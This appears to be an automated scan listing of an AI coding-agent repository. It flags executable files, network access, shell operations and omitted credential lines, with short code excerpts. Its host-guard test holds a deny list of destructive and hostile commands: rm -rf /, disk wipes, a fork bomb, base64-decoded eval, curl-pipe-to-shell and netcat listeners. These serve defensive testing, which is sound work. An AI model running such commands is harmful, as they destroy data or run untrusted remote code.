src/protocols/tools/checkpoint-restore.js
- Executable scriptline 1
Executable file
src/protocols/tools/project-status.js
- Executable scriptline 1
Executable file
src/protocols/tools/quality-report.js
- Executable scriptline 1
Executable file
src/protocols/tools/start-project.js
- Executable scriptline 1
Executable file
src/protocols/transport/sse.js
- Executable scriptline 1
Executable file - Network accessline 32
this._corsOrigin = (options && options.corsOrigin !== undefined) ? options.corsOrigin : 'http://localhost:' + ((options && options.port) || 8421); - Network accessline 33
? options.corsOrigin : 'http://localhost:' + ((options && options.port) || 8421); this._server = null; - Network accessline 34
: 'http://localhost:' + ((options && options.port) || 8421);
src/protocols/transport/stdio.js
- Executable scriptline 1
Executable file
src/protocols/untrusted.js
- Executable scriptline 1
Executable file
state/__init__.py
- Executable scriptline 1
Executable file
state/index.ts
- Executable scriptline 1
Executable file
state/manager.py
state/manager.ts
- Executable scriptline 1
Executable file
state/sqlite_backend.py
swarm/__init__.py
- Executable scriptline 1
Executable file
swarm/adjuster.py
- Executable scriptline 1
Executable file
swarm/bft.py
- Executable scriptline 1
Executable file
swarm/calibration.py
- Executable scriptline 1
Executable file
swarm/classifier.py
swarm/cli.py
- Executable scriptline 1
#!/usr/bin/env python3
swarm/composer.py
- Executable scriptline 1
Executable file
swarm/intelligence.py
- Executable scriptline 1
Executable file
swarm/messages.py
- Executable scriptline 1
Executable file
swarm/patterns.py
swarm/performance.py
- Executable scriptline 1
Executable file
swarm/registry.py
- Executable scriptline 1
Executable file
swarm/sycophancy.py
- Executable scriptline 1
Executable file
templates/README.md
templates/chrome-extension.md
- Network accessline 133
"tabs": [ { "url": "https://example.com", - Network accessline 134
{ "url": "https://example.com", "title": "Example Page", - Network accessline 135
"url": "https://example.com", - Network accessline 136
"title": "Example Page", "favIconUrl": "https://example.com/favicon.ico" } - Network accessline 137
"favIconUrl": "https://example.com/favicon.ico"
templates/discord-bot.md
templates/rest-api-auth.md
templates/rest-api.md
templates/slack-bot.md
- Network accessline 39
# Get these from https://api.slack.com/apps
tests/detect-hallucinated-deps.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 34
if ! command -v curl >/dev/null 2>&1; then - Network accessline 35
echo "detect-hallucinated-deps: curl unavailable; every package is UNCHECKED (not a pass)" - Network accessline 41
local pkg="$1" code case "$pkg" in ""|.*|*" "*) return 0 ;; esac code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ - Network accessline 42
case "$pkg" in ""|.*|*" "*) return 0 ;; esac code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ "https://registry.npmjs.org/$(printf '%s' "$pkg" | sed 's|/|%2f|g')" 2>/dev/null)" || code="" - Network accessline 43
code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ - Network accessline 44
"https://registry.npmjs.org/$(printf '%s' "$pkg" | sed 's|/|%2f|g')" 2>/dev/null)" || code="" - Network accessline 45
# NOTE: -f is deliberately ABSENT. With -f curl exits nonzero on 404, the - Network accessline 58
local pkg="$1" code case "$pkg" in ""|-*|*" "*) return 0 ;; esac code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ - Network accessline 59
case "$pkg" in ""|-*|*" "*) return 0 ;; esac code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ "https://pypi.org/pypi/${pkg}/json" 2>/dev/null)" || code="" - Network accessline 60
code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \ - Network accessline 61
"https://pypi.org/pypi/${pkg}/json" 2>/dev/null)" || code=""
tests/detect-invariant-violations.sh
tests/detect-mock-problems.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/detect-semantic-test-problems.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 76
# [ -f "$detector" ] || { log_info "Semantic gate: detector not found, skipping"; rm -f "$findings_file" 2>/dev/null||true; return 0; } - Dangerous shell operationline 80
# if [ "$rc" -eq 124 ]; then log_warn "Semantic gate: timed out -- inconclusive"; rm -f "$findings_file" 2>/dev/null||true; return 0; fi - Dangerous shell operationline 86
# if [ -n "$med_low" ]; then { echo "# Semantic advisory findings (MED/LOW, non-blocking)"; echo "$med_low"; } > "$findings_file"; else rm -f "$findings_file" 2>/dev/null||true; fi
tests/detect-test-mutations.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/auto-route.sh
tests/min/cli-entrypoints.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/context-pack.sh
tests/min/decompose-and-intake.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 140
[Credential-related source omitted] - Network accessline 176
n = int(sys.argv[1]) t, b, l = (os.environ["EPIC_TITLE"], os.environ["EPIC_BODY"], "enhancement") if n == 24 else ("Calculator v2 umbrella", "Add divide(a, b) and power(a, b) to calc.ts.", "epic") print(json.dumps({"number": n, "title": t, - Network accessline 177
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Network accessline 178
print(json.dumps({"number": n, "title": t, "body": b, "labels": [{"name": l}], "author": {"login": "founder"}, "createdAt": "2026-11-01T00:00:00Z", "url": "https://github.com/acme/search/issues/%d" % n}))' "$3" ;; - Network accessline 237
B="$T/backlog" make_repo "$B" 0 git -C "$B" remote add origin https://github.com/acme/search.git - Network accessline 238
make_repo "$B" 0 git -C "$B" remote add origin https://github.com/acme/search.git cat > "$T/launch-start" <<EOF - Network accessline 239
git -C "$B" remote add origin https://github.com/acme/search.git - Network accessline 284
const cases = { verified: [[row("s1", "VERIFIED", 0.104, 0), row("s2", "VERIFIED", 0.204, 0)], [0.004]], partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []], - Network accessline 285
verified: [[row("s1", "VERIFIED", 0.104, 0), row("s2", "VERIFIED", 0.204, 0)], [0.004]], partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []], budget: [[row("s1", - Network accessline 286
partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []], - Network accessline 293
printf '%s\n' "$AGG" | grep -q '^verified VERIFIED 0 | Outcome: *VERIFIED | Cost: *\$0.31 (2 slice runs + 1 planning session)$' \ && ok "outcome: every slice VERIFIED gives VERIFIED, exit 0; cost sums unrounded slice figures plus the pl - Network accessline 294
&& ok "outcome: every slice VERIFIED gives VERIFIED, exit 0; cost sums unrounded slice figures plus the planning session (0.104+0.204+0.004 = 0.31, not 0.30)" || bad "outcome: all-VERIFIED case wrong" printf '%s\n' "$AGG" | grep -q '^partia - Network accessline 295
printf '%s\n' "$AGG" | grep -q '^partial PARTIAL 6 | Outcome: *PARTIAL | Reason: *slice s2: PARTIAL | PR: *https://github.com/acme/search/pull/9 | Cost: ' && ok "outcome: any PARTIAL slice gives PARTIAL, exit 6, with a PR line per slice PR" - Access to secretsline 354
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted]
tests/min/detect-gates.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 62
# hallucinated-deps: a curl shim answers the registry. 404 for the planted name, 200 otherwise. - Network accessline 63
mkdir -p "$T/shim" "$T/deps-good" "$T/deps-bad" cat > "$T/shim/curl" <<'SH' - Network accessline 64
cat > "$T/shim/curl" <<'SH' - Network accessline 70
SH chmod +x "$T/shim/curl" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0"}}\n' > "$T/deps-good/package.json" - Network accessline 71
chmod +x "$T/shim/curl" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0"}}\n' > "$T/deps-good/package.json" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0","zz-hallucinated-plant":"1.0.0"}}\n
tests/min/dist-freshness.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/docker-and-zip-sources.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/engine10-e2e-stub.sh
tests/min/fixtures/context/go-ratelimit/repo/limiter/clock.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/go-ratelimit/repo/server/handler.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/go-ratelimit/repo/server/health.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.go
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/__init__.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/audit.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/errors.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/models.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/service.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/store.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/accounts/validate.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/repo/tests/test_service.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/solution/accounts/errors.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/solution/accounts/service.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/py-accounts/solution/accounts/store.py
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/package.json
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/customers.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/invoice.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/money.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/report.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/shipping.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/src/tax.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/repo/test/invoice.test.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/solution/src/invoice.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/solution/src/money.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/context/ts-invoice/solution/src/tax.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/e2e/bin/claude
- Executable scriptline 1
#!/usr/bin/env bash - Instruction override signalline 30
if [ "${1:-}" = "--help" ]; then echo "Usage: claude [options] -p <prompt>" echo " --dangerously-skip-permissions --model <m> --settings <json> -p, --print" - Instruction override signalline 31
echo "Usage: claude [options] -p <prompt>" echo " --dangerously-skip-permissions --model <m> --settings <json> -p, --print" exit 0 - Instruction override signalline 32
echo " --dangerously-skip-permissions --model <m> --settings <json> -p, --print" - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted]
tests/min/fixtures/e2e/repo/calc.test.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/e2e/repo/calc.ts
- Executable scriptline 1
Executable file
tests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/claude
tests/min/fixtures/e2e/vitest-bin/npx
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/fixtures/e2e/vitest-bin/vitest
tests/min/fixtures/failures/jest-validation.txt
tests/min/fixtures/opencode/bin/opencode
tests/min/fixtures/stacks/go/calc/calc.go
- Executable scriptline 1
Executable file
tests/min/fixtures/stacks/go/calc/calc_test.go
- Executable scriptline 1
Executable file
tests/min/fixtures/stacks/go/cmd/main.go
- Executable scriptline 1
Executable file
tests/min/fixtures/stacks/maven/pom.xml
- Network accessline 1
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xs - Network accessline 2
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
tests/min/fixtures/triage/bin/gh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/fixtures/triage/jira_server.py
- Executable scriptline 1
Executable file
tests/min/h2h-harness.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 100
field() { python3 -I -c 'import json,sys; r=json.load(open(sys.argv[1]))["runs"][0]; print(eval(sys.argv[2]))' "$1" "$2"; } - Instruction override signalline 190
check "raw-opus-low: runner exits 0" test "$?" = 0 check "raw-opus-low: correct patch passes" test "$(field "$T/low.json" 'r["pass"]')" = 1 has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --out - Instruction override signalline 191
check "raw-opus-low: correct patch passes" test "$(field "$T/low.json" 'r["pass"]')" = 1 has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --output-format json --dangerously-skip-permissions --ef - Instruction override signalline 192
has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --output-format json --dangerously-skip-permissions --effort low" - Access to secretsline 197
[Credential-related source omitted] - Dangerous shell operationline 269
s() { python3 -I -c 'import json,sys; r=json.load(open(sys.argv[1]))["summary"][0]; print(eval(sys.argv[2]))' "$J" "$1"; } - Dangerous shell operationline 270
runs() { python3 -I -c 'import json,sys; d=json.load(open(sys.argv[1])); print(eval(sys.argv[2]))' "$J" "$1"; } - Dangerous shell operationline 341
print(eval(sys.argv[1]))' "$1"; } - Access to secretsline 465
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Access to secretsline 489
[Credential-related source omitted] - Access to secretsline 490
[Credential-related source omitted] - Network accessline 527
ok &= any(s["license_file"] == v or s["license_file"].startswith(v.rstrip("/") + "/") for v in s["vendored_paths"]) ok &= all(re.fullmatch("[0-9a-f]{40}", s[k]) is not None for k in ("fix_commit", "parent_commit")) and "/issues/" in s[" - Network accessline 528
ok &= all(re.fullmatch("[0-9a-f]{40}", s[k]) is not None for k in ("fix_commit", "parent_commit")) and "/issues/" in s["issue"] ok &= re.fullmatch("[0-9a-f]{64}", m["snapshot_sha256"]) is not None and s["upstream"].startswith("https://g - Network accessline 529
ok &= re.fullmatch("[0-9a-f]{64}", m["snapshot_sha256"]) is not None and s["upstream"].startswith("https://github.com/")
tests/min/host-guard.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 23
# Planted defects used to prove this test can fail (each reverted afterwards), all in host_guard.ts: # 1. drop the RM_WORD check; the recursive-delete-of-a-temp-root cases fail parity. # 2. drop the HOST_WORD check; docker, kill, sudo, - Network accessline 24
# 1. drop the RM_WORD check; the recursive-delete-of-a-temp-root cases fail parity. # 2. drop the HOST_WORD check; docker, kill, sudo, launchctl, brew services, nc -l and socat fail. # 3. drop the nested-shell check; the three-level s - Network accessline 25
# 2. drop the HOST_WORD check; docker, kill, sudo, launchctl, brew services, nc -l and socat fail. - Network accessline 28
# 5. drop the shlexBalanced check; the unclosed-quote command fails. # 6. drop the "port" raw rule; PORT=, --port, --publish and http.server fail. # 7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | - Network accessline 29
# 6. drop the "port" raw rule; PORT=, --port, --publish and http.server fail. # 7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb, # .loki self-protection). - Dangerous shell operationline 30
# 7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb, - Network accessline 30
# 7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb, - Network accessline 36
# 12. treat a blank command as present (drop PY_BLANK); the blank and \x1c cases fail. # 13. return ALLOW under the compiled policy; the compiled case fails. # 14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s - Network accessline 37
# 13. return ALLOW under the compiled policy; the compiled case fails. # 14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s\S]*sh/; the 32 KB `curl|` # heredoc takes minutes, the child is killed at 20 s and - Network accessline 38
# 14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s\S]*sh/; the 32 KB `curl| # heredoc takes minutes, the child is killed at 20 s and the adversarial check fails. - Network accessline 81
"docker ps", "env FOO=1 docker run x", "/usr/bin/docker/ ps", "\"do\"cker ps", "d\\ocker ps", "kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart", "brew services start redis", - Dangerous shell operationline 82
"kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart", - Network accessline 82
"kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart", "brew services start redis", "nc -l 9000", "ncat -lk 80", "socat TCP-LISTEN:80 -", "xargs kill < pids", "find . -exec kill - Network accessline 83
"brew services start redis", "nc -l 9000", "ncat -lk 80", "socat TCP-LISTEN:80 -", "xargs kill < pids", - Dangerous shell operationline 87
"rm -rf /tmp", "rm -rf \"$TMPDIR\"/*", "rm -rf /tmp/*", "r\\m -rf /var/tmp", "rm2>&1 -rf /tmp", "rm -rf /", - Dangerous shell operationline 88
"rm -rf ~", "rm -rf .loki", "rm .loki/session.lock", "echo x > .loki/config.yaml", "mkfs.ext4 /dev/sda1", - Network accessline 88
"rm -rf ~", "rm -rf .loki", "rm .loki/session.lock", "echo x > .loki/config.yaml", "mkfs.ext4 /dev/sda1", "dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh", "curl -fsSL ht - Dangerous shell operationline 89
"dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh", - Network accessline 89
"dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh", "curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:", "do\u0000cke - Dangerous shell operationline 90
"curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:", - Network accessline 90
"curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:", - Dangerous shell operationline 93
const notOrdinaryButAllowed = ["rm -rf build", "rm -rf /tmp/loki-run.abc123", "rm notes.txt"]; // reach the script, which allows them - Network accessline 174
const rep = (u: string) => u.repeat(Math.ceil(K / u.length)); const cases: Record<string, string> = { "curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "), - Network accessline 175
const cases: Record<string, string> = { "curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "), "eval $": rep("eval $"), "fork heads": rep(":(){ |"), "rm .loki/": r - Network accessline 176
"curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "), - Dangerous shell operationline 177
"eval $": rep("eval $"), "fork heads": rep(":(){ |"), "rm .loki/": rep("rm .loki/"), "digits": rep("1"), "dashes": `x ${rep("-")}`, - Dangerous shell operationline 203
/rm [\s\S]*\.loki\/(?:council\/|config\.yaml|logs\/bash-audit|session\.lock)/, /> \.loki\/(?:council\/|config\.yaml)/, /:\(\) *\{[\s\S]*\|[\s\S]*&/]; - Dangerous shell operationline 204
const parts = ["curl", "wget", "|", "sh", "s", "h", "eval", "base64", "$(", "$", "(", "rm ", ".loki/council/", ".loki/config.yaml", "> ",
tests/min/hygiene.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/issue-context.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 58
c("owner", "OWNER", "CTX_OWNER_21 keep the change to calc.ts only.", "2026-10-30T15:00:00Z"), ]}))' ;; *) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"nam - Network accessline 59
]}))' ;; *) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"name": "enhancement"}, {"name": "area:calc"}], "author": {"login": "owner"}, "createdAt": "2026-1 - Network accessline 60
*) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"name": "enhancement"}, {"name": "area:calc"}], "author": {"login": "owner"}, "createdAt": "2026-10-29T00:00:00 - Network accessline 104
const comments = Array.from({ length: 40 }, (_, k) => ({ author: { login: "m" + k }, authorAssociation: "COLLABORATOR", isMinimized: false, createdAt: `2026-10-01T00:${String(k).padStart(2, "0")}:00Z`, body: `C${k}_ ` + "x".repeat(1000) })) - Network accessline 105
const exec = (cmd, args) => cmd === "bash" ? JSON.stringify({ provider: "github", number: 9, title: "t", body: "b", labels: [], author: "o", url: "https://github.com/a/b/issues/9", created_at: "", repo: "a/b" }) : JSON.stringify({ state - Network accessline 106
? JSON.stringify({ provider: "github", number: 9, title: "t", body: "b", labels: [], author: "o", url: "https://github.com/a/b/issues/9", created_at: "", repo: "a/b" }) - Network accessline 127
{ author: { accountId: "acc-pm", displayName: "Pat PM" }, body: adf("<!-- loki-writeback --> JIRA_LOKI_34 run done"), created: "2026-10-05" }, ] } } }; const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", - Network accessline 128
] } } }; const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", url: "https://linear.app/x/issue/ENG-2", labels: { nodes: [{ name: "bug" }, { name: "p1" }] }, comments: { nodes: [ - Network accessline 129
const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", url: "https://linear.app/x/issue/ENG-2", labels: { nodes: [{ name: "bug" }, { name: "p1" }] }, - Network accessline 134
[Credential-related source omitted] - Network accessline 135
[Credential-related source omitted] - Network accessline 136
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted]
tests/min/learn-from-runs.sh
tests/min/lib.sh
tests/min/newcomer-path.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 5
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Network accessline 157
run_goal() { # run_goal <repo> <PATH> -> RC, OUT OUT="$(cd "$1" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER ANTHROPIC_BASE_URL=http://127.0.0.1:9 \ - Network accessline 158
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 232
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 245
[Credential-related source omitted] - Access to secretsline 273
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 320
out="$(cd "$REPO" && "${l009_env[@]}" PATH="$E2E/bin:$NOBUN" ${TO[@]+"${TO[@]}"} bash "$ROOT/bin/loki" "fix the login bug" </dev/null 2>&1)"; rc=$? [ "$rc" -eq 2 ] && ok "L009 no bun: exits 2" || bad "L009 no bun: exited $rc" has "L - Network accessline 321
[ "$rc" -eq 2 ] && ok "L009 no bun: exits 2" || bad "L009 no bun: exited $rc" has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" no_legacy "$REPO" "no bun" - Dangerous shell operationline 322
has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" - Network accessline 322
has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" - Network accessline 327
out="$(cd "$T/l009-prd" && "${l009_env[@]}" PATH="$E2E/bin:$NOBUN" ${TO[@]+"${TO[@]}"} bash "$ROOT/bin/loki" verify e10-20260101T000000Z-abcd </dev/null 2>&1)"; rc=$? [ "$rc" -eq 2 ] && ok "L009 no bun: verify <run-id> exits 2" || bad " - Network accessline 328
[ "$rc" -eq 2 ] && ok "L009 no bun: verify <run-id> exits 2" || bad "L009 no bun: verify <run-id> exited $rc" has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" fi - Dangerous shell operationline 329
has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" - Network accessline 329
has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" - Network accessline 422
fixture_repo big-sdk bigprd "$REPO/big.md" 98900 out="$(cd "$REPO" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER -u LOKI_PROVIDER -u LOKI_ENGINE ANTHROPIC_BASE_URL=http://127. - Network accessline 423
bigprd "$REPO/big.md" 98900 out="$(cd "$REPO" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER -u LOKI_PROVIDER -u LOKI_ENGINE ANTHROPIC_BASE_URL=http://127.0.0.1:9 \ PATH="$ - Network accessline 424
[Credential-related source omitted] - Access to secretsline 424
[Credential-related source omitted] - Access to secretsline 425
[Credential-related source omitted]
tests/min/one-line-goal.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 49
[Credential-related source omitted] - Network accessline 71
mkrepo ghno https://github.com/example/nothing.git - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted]
tests/min/outcome-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/pack-contents.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/providers-supported.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Dangerous shell operationline 131
ns = {}; exec(compile(ast.Module(body=keep, type_ignores=[]), "web-app/server.py", "exec"), ns) - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 180
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted]
tests/min/receipt-roundtrip.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/redaction.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/release-notes.sh
- Executable scriptline 1
#!/usr/bin/env bash
tests/min/run-safety.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 108
rm -rf "$H/.loki/runs"; git -C "$H" checkout -q feature 2>/dev/null - Dangerous shell operationline 195
rm -f "$M/.loki/CONTINUITY.md" "$M/.loki/STATUS.txt" "$M/.loki/autonomy-state.json" "$M/.loki/dashboard/index.html" - Dangerous shell operationline 232
BASE_U="$(git -C "$U" rev-parse HEAD)"; git -C "$U" checkout -q -b loki/e10-wip; rm "$U/.loki/STATUS.txt"; printf 'b\n' > "$U/app.ts"
tests/min/scope-and-fix.sh
tests/min/stacks.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 48
for c in bash sh env git python3 python bun node npm npx sed grep awk cat mkdir rm cp mv ls head tail tr sort uniq date \ - Access to secretsline 81
[Credential-related source omitted] - Dangerous shell operationline 104
( cd "$REPO" && eval "$DIAG_RERUN" 2>&1 | tail -90 | sed 's/^/ | rerun | /'; echo " | rerun exit: ${PIPESTATUS[0]}" ) - Network accessline 126
network_for() { local url="https://repo.maven.apache.org/maven2/" - Network accessline 127
local url="https://repo.maven.apache.org/maven2/" [ "$1" = dotnet ] && url="https://api.nuget.org/v3/index.json" command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null - Network accessline 128
[ "$1" = dotnet ] && url="https://api.nuget.org/v3/index.json" command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null } - Network accessline 129
command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null - Dangerous shell operationline 273
local got; got="$(printf '%s' "$PARSE" | python3 -I -c 'import json,sys; d=json.loads(sys.stdin.read()); print(json.dumps(eval(sys.argv[1]), sort_keys=True))' "$2" 2>/dev/null)"
tests/min/syntax.sh
